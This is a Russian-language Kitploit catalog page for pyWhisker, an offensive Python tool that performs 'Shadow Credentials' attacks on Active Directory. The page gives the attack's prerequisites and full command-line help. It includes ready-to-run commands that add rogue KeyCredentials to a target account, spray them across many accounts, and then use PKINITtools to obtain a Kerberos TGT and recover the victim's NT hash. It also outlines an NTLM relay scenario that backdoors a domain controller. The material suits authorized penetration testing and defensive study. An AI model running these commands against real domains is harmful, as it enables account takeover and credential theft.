Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pywhisker — Python-версия C#-инструмента для атак "Shadow Credentials" | Kitploit
Инструменты/GitHubGitHub/shutdownrepo/pywhisker
Повышение привилегийЭксплуатацияТестирование на ПроникновениеАутентификация
GitHubshutdownrepo/pywhisker

pywhisker

Python-версия C#-инструмента для атак "Shadow Credentials"

Репозиторий
92210752 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

pyWhisker

pyWhisker — это аналог оригинального Whisker на Python, созданного Эладом Шамиром и написанного на C#. Этот инструмент позволяет манипулировать атрибутом msDS-KeyCredentialLink целевого пользователя/компьютера для получения полного контроля над этим объектом. Он основан на Impacket и Python-аналоге DSInternals от Майкла Графнеттера, который называется PyDSInternals и создан подалириусом. Этот инструмент вместе с PKINITtools от Дирка-яна позволяет полностью реализовать примитивную атаку только на системах на базе UNIX.

Предварительные условия для этой атаки:

  1. Целевой функциональный уровень домена должен быть Windows Server 2016 или выше.
  2. Целевой домен должен иметь хотя бы один контроллер домена под управлением Windows Server 2016 или выше.
  3. Контроллер домена, используемый во время атаки, должен иметь собственный сертификат и ключи (это означает, что в организации должны быть AD CS, PKI, ЦС или нечто подобное).
  4. Атакующий должен иметь контроль над учётной записью, которая может записывать атрибут msDs-KeyCredentialLink целевого пользователя или компьютера.

Почему некоторые требования?

  • Требования 1 и 2 — потому что функции PKINIT были введены в Windows Server 2016.
  • Требование 3 — потому что КД нуждается в собственном сертификате и ключах для обмена сеансовыми ключами во время транзакции AS_REQ <-> AS_REP.

Если требование 3 не выполнено, будет выдано KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP.

Дополнительная информация об этом примитиве «Теневые учётные данные»:

  • Shadow Credentials: Abusing Key Trust Account Mapping for Takeover
  • The Hacker Recipes — ACEs and DACL abuse
  • The Hacker Recipes — Shadow Credentials

Использование

pyWhisker может использоваться для выполнения различных операций с атрибутом msDs-KeyCredentialLink целевого объекта:

  • list: вывести все текущие KeyCredentials (ID и время создания)
  • add: добавить новое KeyCredential в msDs-KeyCredentialLink
  • spray: массово добавить новое KeyCredential в msDs-KeyCredentialLink
  • remove: удалить KeyCredential из msDs-KeyCredentialLink
  • clear: удалить все KeyCredentials из msDs-KeyCredentialLink
  • info: вывести всю информацию, содержащуюся в структуре KeyCredential
  • export: экспортировать все KeyCredentials из msDs-KeyCredentialLink в JSON
  • import: перезаписать msDs-KeyCredentialLink KeyCredentials из JSON-файла

pyWhisker поддерживает следующие типы аутентификации:

  • (NTLM) Пароль в открытом виде
  • (NTLM) Pass-the-hash
  • (Kerberos) Пароль в открытом виде
  • (Kerberos) Pass-the-key / Overpass-the-hash
  • (Kerberos) Pass-the-cache (разновидность Pass-the-ticket)
  • (LDAP через Schannel) Pass-the-cert

Среди прочего, pyWhisker поддерживает многоуровневую детализацию вывода: просто добавьте -v, -vv, ... к команде :)

pyWhisker также может работать с разными доменами — см. аргумент -td/--target-domain.

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        Target account
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        Path to a file with target accounts names (one per line)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        Action to operate on msDS-KeyCredentialLink
  --use-ldaps           Use LDAPS instead of LDAP
  --use-schannel        Use LDAP Schannel (TLS) for certificate-based authentication
  -v, --verbose         verbosity level (-v for verbose, -vv for debug)
  -q, --quiet           show no information at all

authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with
  -crt, --certfile CERTFILE
                        Path to the user certificate (PEM format) for Schannel authentication
  -key, --keyfile KEYFILE
                        Path to the user private key (PEM format) for Schannel authentication
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        Target domain (if different than the domain of the authenticating user)

  --no-pass             don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        password to authenticate with
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line

arguments when setting -action to add:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
  -f FILENAME, --filename FILENAME
                        filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
  -e {PEM,PFX}, --export {PEM,PFX}
                        choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))

arguments when setting -action to remove:
  -D DEVICE_ID, --device-id DEVICE_ID
                        device ID of the KeyCredentialLink to remove when setting -action to remove

Ниже приведены примеры и скриншоты того, что может делать pyWhisker.

Список и получение информации

pyWhisker умеет выводить существующие KeyCredentials. Кроме того, он может развернуть всю структуру, чтобы показать каждую часть информации, содержащейся в объекте (включая параметры открытого ключа RSA).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

Очистка и удаление

pyWhisker умеет удалять конкретные значения или очищать весь атрибут.

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

Добавление новых значений

pyWhisker умеет генерировать RSA-ключи, сертификат X509, структуру KeyCredential и записывать необходимую информацию как новые значения атрибута msDs-KeyCredentialLink. Сертификат может быть экспортирован в формате PFX (#PKCS12, сертификат + закрытый ключ, защищённые паролем) или в формате PEM (сертификат PEM, закрытый ключ PEM, пароль не требуется).

Пример с форматом PFX

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

После того как значения сгенерированы и добавлены pyWhisker, можно запросить TGT с помощью gettgtpkinit.py. Затем NT-хэш можно восстановить с помощью getnthash.py.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

Пример с форматом PEM

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

После того как значения сгенерированы и добавлены pyWhisker, можно запросить TGT с помощью gettgtpkinit.py. Затем NT-хэш можно восстановить с помощью getnthash.py.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

Массовое добавление новых значений

pyWhisker может выполнять цепочку добавлений KeyCredentials для набора целей, т.е. «распыление» (если используемые учётные данные имеют соответствующие разрешения).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

Импорт и экспорт

KeyCredentials, хранящиеся в атрибуте msDs-KeyCredentialLink, могут быть разобраны, структурированы и сохранены в формате JSON.

Затем JSON-экспорт можно использовать для восстановления атрибута msDs-KeyCredentialLink в состояние на момент экспорта.

Релейная аутентификация

Pull Request был принят в ntlmrelayx, включающий функцию «добавления» от pyWhisker.

Полезные сведения

Объекты пользователей не могут редактировать собственный атрибут msDS-KeyCredentialLink. Однако объекты компьютеров могут. Это означает, что может сработать следующий сценарий: инициировать NTLM-аутентификацию от DC01, перенаправить её на DC02, заставить pyWhisker отредактировать атрибут DC01, чтобы создать на нём бэкдор для предварительной аутентификации Kerberos PKINIT.

Объекты компьютеров могут редактировать собственный атрибут msDS-KeyCredentialLink, но могут добавить KeyCredential только в том случае, если его ещё нет.

Если возникают ошибки, убедитесь, что нет рассинхронизации времени между вашим атакующим хостом и Центром распространения ключей (обычно контроллером домена). Чтобы избежать этой ошибки, сертификаты, генерируемые инструментом pyWhisker, действительны за 40 лет до текущей даты и 40 лет после.

Благодарности и ссылки

  • Благодарность Дирку-яну за его работу над PKINITtools. Мы изначально планировали переработать скрипты Impacket (особенно gettgt.py) для реализации асимметричной предварительной аутентификации PKINIT для Kerberos. Он избавил нас от огромной головной боли, написав это раньше нас!

  • Благодарность всей команде, стоящей за Impacket, и её участникам.

  • Благодарность Эладу Шамиру, который создал оригинальный инструмент на C# (Whisker), и Майклу Графнеттеру, который создал DSInternals — библиотеку, выполняющую большую часть тяжёлой работы Whisker. Он также был тем, кто сделал оригинальную демонстрацию на Black Hat, представляющую этот атакующий примитив.

Скачать инструмент